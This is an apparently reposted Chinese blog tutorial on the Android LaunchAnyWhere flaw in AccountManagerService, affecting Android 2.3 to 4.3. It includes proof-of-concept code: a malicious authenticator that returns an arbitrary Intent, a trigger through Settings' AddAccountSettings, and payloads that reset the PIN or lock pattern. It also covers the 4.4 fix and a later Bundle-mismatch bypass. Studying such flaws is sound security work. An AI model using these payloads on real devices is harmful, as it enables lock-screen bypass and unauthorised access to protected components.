安卓漏洞学习（一）：launchAnyWhere: Activity组件权限绕过漏洞

beefreesky

已于 2024-10-08 11:32:24 修改

阅读量364

点赞数

分类专栏：安卓安全文章标签：网络安全

于 2024-10-08 11:30:56 首次发布

原文链接：https://blog.youkuaiyun.com/stven_king/article/details/130259874

版权

安卓安全专栏收录该内容

17 篇文章

订阅专栏

漏洞概述

LaunchAnyWhere漏洞是一个AccountManagerService的漏洞，利用这个漏洞，我们可以任意调起任意未导出的Activity，突破进程间组件访问隔离的限制。这个漏洞影响2.3 ~ 4.3的安卓系统。

普通应用（记为AppA）去请求添加某类账户时，会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用（记为AppB）的Authenticator类，调用Authenticator. addAccount方法；AppA再根据AppB返回的Intent去调起AppB的账户登录界面。

AccountManagerService同样也是系统服务之一，暴露给开发者的的接口是AccountManager。该服务用于管理用户各种网络账号。这使得一些应用可以获取用户网络账号的token，并且使用token调用一些网络服务。很多应用都提供了账号授权功能，比如微信、支付宝、邮件Google服务等等。

由于各家账户的登陆方法和token获取机制肯定存在差异，所以AccountManager的身份验证也被设计成可插件化的形式：由提供账号相关的应用去实现账号认证。提供账号的应用可以自己实现一套登陆UI，接收用户名和密码；请求自己的认证服务器返回一个token；将token缓存给AccountManager。可以从“设置-> 添加账户”中看到系统内可提供网络账户的应用。
如果应用想要出现在添加账户页面里，应用需要声明一个账户认证服务AuthenticationService：

    android:exported="true"
    android:enabled="true">
    <intent-filter>
        <action android:name="android.accounts.AccountAuthenticator" />
    </intent-filter>
    <meta-data
        android:name="android.accounts.AccountAuthenticator"
        android:resource="@xml/authenticator" />
</service>

并在服务中提供一个Binder

    private AuthenticationService.AccountAuthenticator mAuthenticator;
    private AuthenticationService.AccountAuthenticator getAuthenticator() {
        if (mAuthenticator == null)
            mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
        return mAuthenticator;
    }
    @Override
    public void onCreate() {
        mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
    }
    @Override
    public IBinder onBind(Intent intent) {
        Log.d("tanzhenxing33", "onBind");
        return getAuthenticator().getIBinder();
    }
    static class AccountAuthenticator extends AbstractAccountAuthenticator {
        /****部分代码省略****/
        @Override
        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
            Log.d("tanzhenxing33", "addAccount: ");
            return testBundle();
        }
    }
}

声明账号信息：authenticator.xml

<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
    android:accountType="com.tzx.launchanywhere"
    android:icon="@drawable/ic_launcher"
    android:label="@string/app_name">
</account-authenticator>

漏洞原理

普通应用（记为AppA）去请求添加某类账户时，会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用（记为AppB）的Authenticator类，调用Authenticator.addAccount方法；AppA再根据AppB返回的Intent去调起AppB的账户登录界面。
在这里插入图片描述
我们可以将这个流程转化为一个比较简单的事实：

AppA请求添加一个特定类型的网络账号
系统查询到AppB可以提供一个该类型的网络账号服务，系统向AppB发起请求
AppB返回了一个intent给系统，系统把intent转发给appA
AccountManagerResponse在AppA的进程空间内调用 startActivity(intent)调起一个Activity;
AccountManagerResponse是FrameWork中的代码， AppA对这一调用毫不知情。

这种设计的本意是，AccountManagerService帮助AppA查找到AppB账号登陆页面，并呼起这个登陆页面。而问题在于，AppB可以任意指定这个intent所指向的组件，AppA将在不知情的情况下由AccountManagerResponse调用起了一个Activity. 如果AppA是一个system权限应用，比如Settings，那么AppA能够调用起任意AppB指定的未导出Activity。

如何利用

如果假设AppA是Settings，AppB是攻击程序。那么只要能让Settings触发addAcount的操作，就能够让AppB launchAnyWhere。而问题是，怎么才能让Settings触发添加账户呢？如果从“设置->添加账户”的页面去触发，则需要用户手工点击才能触发，这样攻击的成功率将大大降低，因为一般用户是很少从这里添加账户的，用户往往习惯直接从应用本身登陆。
不过现在就放弃还太早，其实Settings早已经给我们留下触发接口。只要我们调用com.android.settings.accounts.AddAccountSettings，并给Intent带上特定的参数，即可让``Settings触发launchAnyWhere：

intent1.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {"自己的账号类型"};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);

这个过程如图
在这里插入图片描述

应用场景

主要的攻击对象还是应用中未导出的Activity，特别是包含了一些intenExtra的Activity。下面只是举一些简单例子。这个漏洞的危害取决于你想攻击哪个Activity，还是有一定利用空间的。比如攻击很多app未导出的webview，结合FakeID或者JavascriptInterface这类的浏览器漏洞就能造成代码注入执行。

重置pin码

intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;

重置锁屏

intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockPattern"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;

漏洞修复

安卓4.4已经修复了这个漏洞，检查了Step3中返回的intent所指向的Activity和AppB是否是有相同签名的。避免了luanchAnyWhere的可能。
在这里插入图片描述

后续故事

这个补丁在当时是没什么问题，但是等到2017年，有海外的研究人员在一份恶意样本中发现，可以利用Parcelable反序列化绕过这个补丁，由于Google的补丁是在system_server中检查Intent，并且又通过AIDL传给Settings之后启动界面，这其中跨越了进程边界，也就涉及到一次序列化和反序列化的过程，那么我们如果通过Parcelable反序列化漏洞的字节错位，通过精确的布局，使得system_server在检查Intent时找不到这个Intent，而在错位后Settings却刚好可以找到，这样就可以实现补丁的绕过并再次实现LaunchAnyWhere，研究人员将发现的这种漏洞利用方式命名为Bundle mismatch。

原文链接：https://blog.youkuaiyun.com/stven_king/article/details/130259874